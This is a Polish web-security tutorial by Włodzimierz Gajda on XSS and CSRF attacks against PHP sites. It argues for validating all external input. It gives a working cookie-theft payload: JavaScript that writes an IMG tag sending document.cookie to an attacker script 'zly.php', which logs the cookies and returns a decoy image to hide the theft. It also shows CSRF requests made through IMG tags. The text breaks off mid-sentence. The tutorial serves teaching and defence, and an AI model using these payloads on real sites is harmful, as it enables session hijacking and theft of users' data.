Autor: Włodzimierz GajdaArtykuł pochodzi ze strony www.gajdaw.pl
Jeśli aplikacja internetowa, w jakimkolwiek miejscu, wysyła do klienta niesprawdzony kod HTML pobrany z zewnątrz, to jest ona podatna na ataki typu XSS oraz CSRF. Przykładowe włamania omówione w artykule należy traktowa jako ważny argument wymuszający walidacje wszystkiego, co aplikacja pobiera z zewnątrz i wysyła do przeglądarki użytkownika.
Ataki XSS
Ataki typu XSS (ang. Cross Site Scripting) opieraja sie na nieswiadomym przekazywaniu zlosliwego kodu przez witryny internetowe. Osoba atakujaca przekazuje zlosliwy kod do aplikacji internetowej. Kod ten zostaje umieszczony na stronie internetowej i jest on w pózniejszym terminie wyslany do uzytkownika. Wykorzystane jest zaufanie, jakim uzytkownik obdarza konkretna witryne, zas sama witryna staje sie nieswiadomym wspólsprawca.
Atak taki sklada sie z trzech etapów:
· przekazanie do aplikacji zlosliwego kodu przez napastnika;
· nieswiadome pobranie od aplikacji zlosliwego kodu przez ofiare; kod zostaje wykonany;
· dodatkowe akcje wykonywane przez atakujacego.
Najpierw napastnik laczy sie z aplikacja internetowa, po czym przesyla do niej zlosliwy kod:
<SCRIPT type="text/javascript">
alert('Zlosliwy kod!' );
</SCRIPT>
Kod ten moze stanowic tresc listu przekazywanego na forum dyskusyjnym czy adres email podany w polu nadawcy listu. Po odebraniu przez aplikacje internetowa, zlosliwy kod zostaje zapisany w bazie danych.
W drugim etapie, uzytkownik bedacy ofiara nieswiadomie wykonuje kod przekazany przez osobe atakujaca. Uzytkownik po zalogowaniu wchodzi na strone zawierajaca zlosliwy list, po czym wyswietla jego zawartosc. W wyniku wyswietlenia listu przegladarka wykonuje zlosliwy kod JavaScript, który przekazuje pewne poufne dane osobie atakujacej.
W ostatnim etapie, napastnik odbiera poufne dane przekazane do niego przez zlosliwy skrypt.
Luki wykorzystywane przez ataki XSS
W opisanym schemacie wykorzystane sa trzy potencjalnie luki w bezpieczenstwie aplikacji internetowej:
· aplikacja wpuszcza zlosliwy kod;
· aplikacja wypuszcza zlosliwy kod;
· przegladarka klienta wykonuje zlosliwy kod;
Pierwsza z luk polega na tym, ze aplikacja nie weryfikuje danych pochodzacych od osoby atakujacej. Ataki XSS sa kolejnym istotnym glosem w dyskusji na temat walidacji danych pochodzacych z zewnatrz aplikacji. Dane nalezy koniecznie weryfikowac! Do aplikacji wpuszczamy jedynie dane, co do których jestesmy pewni, ze nie spowoduja zadnych problemów. Ani w aplikacji internetowej, ani w przegladarce uzytkownika po umieszczeniu na stronie WWW.
Druga z luk jest nieco bardziej problematyczna. Aplikacja pobierajac dane z bazy danych powinna, przynajmniej w pewnych sytuacjach, poddac dane ponownej walidacji. Zasadnosc tego testu moze podwazac fakt, ze rekordy bazy danych przed umieszczeniem w bazie poddalismy gruntownemu sprawdzeniu. Jesli zrezygnujemy z takiego testu, wówczas kazda luka w bazie danych moze zostac wykorzystana do zrealizowania ataku.
Ostatnia luka jest znacznie trudniejsza do wyeliminowania. Eliminacja wykonywania kodu JavaScript przez przegladarke wymaga calkowitego wylaczenia interpretacji JavaScript. Taka operacja nie moze byc wykonana przez aplikacje internetowa, a jedynie przez administratora konkretnego komputera.
Ataki CSRF
Ataki typu CSRF (ang. Cross Site Request Forgeries) wykorzystuja mechanizm dzialania protokolu HTTP. Przegladarka stron WWW po odebraniu zasobu, konkretnie kodu HTML witryny WWW, analizuje zawartosc strony i pobiera kolejno wszystkie zasoby, jakie sa konieczne do poprawnego wyswietlenia strony (np. pliki stylów, pliki ze skryptami JavaScript oraz obrazy). Na przyklad obraz:
<IMG src="ikona.png" alt="Ikona listy wypunktowanej">
Bylby pobrany osobnym zapytaniem
GET ikona.png HTTP/1.1
Problem polega na tym, ze zapytanie GET moze odwolywac sie do skryptu i przekazywac mu dodatkowe dane:
GET skrypt.php?imie=Jan&wiek=43 HTTP/1.1
Umieszczenie na stronie obrazu:
<IMG src="skrypt.php?imie=Jan&wiek=43" alt="Ikona...">
spowoduje wywolanie skryptu skrypt.php i przekazanie do niego zmiennych imie oraz wiek.
A zatem samo wyswietlenie strony WWW z osadzonymi obrazami moze powodowac nieswiadome wykonywanie róznych skryptów.
Ataki typu CSRF wykorzystuja podobne luki jak ataki XSS. Atakujacy najpierw dostarcza zlosliwy kod HTML. Nastepnie kod ten zostaje wyslany do przegladarki klienta. Zatem dwa pierwsze kroki w zapewnieniu odpornosci aplikacji na ataki tego typu sa identyczne: walidacja zmiennych pochodzacych z zewnatrz oraz zabezpieczenie kodu HTML wysylanego do klienta.
Róznica wystepuje po stronie klienta. Poprzednio wykorzystywany byl kod JavaScript, zas tym razem — mechanizm dzialania protokolu HTTP. Oczywiscie nie mamy zadnej mozliwosci zabezpieczenia sie przed dzialaniem przegladarki, które jest zgodne z protokolem HTTP. Oznaczaloby to zburzenie podstawy dzialania sieci WWW.
Naiwny przyklad ataku XSS
Przyjrzyjmy sie teraz atakowi XSS od podszewki. Przeanalizujmy dokladnie kod wykonywany przez napastnika, oraz kod przekazywany za posrednictwem witryny WWW przez napastnika do ofiary.
Krok 1: ciasteczka
Ciasteczka stanowia mechanizm do przekazywania danych od serwera WWW do przegladarki klienta. Mechanizm ten jest niewidoczny dla uzytkownika: zadne dane nie sa wyswietlane w oknie przegladarki (ewentualnie, zalezy to od ustawien zabezpieczen, uzytkownik jest informowany o ciasteczkach okienkami dialogowymi).
PHP wykorzystuje mechanizm ciasteczek do przekazywania identyfikatora sesji.
Ciasteczko mozemy wyslac stosujac funkcje setcookie():
setcookie('imie', 'Jan', time() + 3600);
Powyzsza instrukcja powoduje wyslanie ciasteczka imie=Jan o czasie trwania wynoszacym 3600 sekund (czyli godzine).
Pierwszy z przykladów, zapisany w pliku 1-strona-z-ciasteczkami.zip, zawiera formularz umozliwiajacy dodawanie ciasteczek. Po kilkukrotnym wypelnieniu formularza, w tablicy $_COOKIE pojawia sie wpisy:
$_COOKIE = array (
'jan' => 'jan',
'kos' => 'kos',
'rudy' => 'rudy',
'marusia' => 'marusia',
)
Ciasteczka odbierane przez przegladarke mozemy sledzic wtyczka Internet Explorera o nazwie ieHTTPHeaders.
Krok 2: kradziez ciasteczek
Strona z ciasteczkami jest gotowa. Przejdzmy teraz do drugiego kroku, kradziezy ciasteczek. Kod kradnacy ciasteczka jest zapisany w przykladzie 2-kradziez-ciasteczek.zip.
Formularz, przedstawiony w poprzednim przykladzie, wykorzystujemy do przeslania ciasteczek. Ciasteczka sa dostepne w przegladarce klienta w kodzie JavaScript. Obiekt document reprezentujacy caly kod witryny zawiera pole cookie, przechowujace wszystkie ciasteczka. Aby sie o tym przekonac, wystarczy w kodzie witryny umiescic skrypt:
alert(document.cookie);
Powyzszy skrypt wprawdzie ma dostep do ciasteczek, ale nie kradnie ich, a jedynie wyswietla na ekranie uzytkownika. Do kradziezy ciasteczek wykorzystamy dodatkowe zapytanie HTTP generowane przez element IMG:
<IMG src="zly.php?ciasteczka=imie=Jan;wiek=15">
Taki „obrazek” powoduje przekazanie zmiennej ciasteczka metoda GET protokolu HTTP do skryptu zly.php.
Podsumowujac powyzsze rozwazania, nalezy przygotowac skrypt JavaScript o kodzie:
var adr = 'zly.php?ciasteczka=' + escape(document.cookie);
var obr = '<IMG src="' + adr + '">';
document.write(obr);
oraz skrypt zly.php, który zajmie sie zapisaniem otrzymanej zmiennej do pliku ciasteczka.txt.
Powyzszy kod JavaScript umieszcza w kodzie strony (wywolanie metody document.write()) elementu IMG, którego atrybut src zawiera ciasteczka (pole document.cookie). Uzyta funkcja escape() koduje wszystkie znaki, jaki nie powinny pojawic sie w adresie URL (np. spacja jest zastepowana kodem %20).
Kazdorazowe wejscie na strone skrypt.php powoduje kradziez ciasteczek i zapisanie ich do pliku ciasteczka.txt.
Skrypt zly.php po zapisaniu ciasteczek do pliku wysyla do klienta obraz „Sloneczniki”. Jesli nie wyslemy do klienta obrazu, wówczas przegladarka wyswietli ikone informujaca o tym, ze obraz nie zostal znaleziony lub pobrany. W ten sposób osoba kradnaca ciasteczka zdradza swoje dzialanie. W celu zamaskowania, mozemy do klienta wyslac zamiast sloneczników ...
Jerzy_jez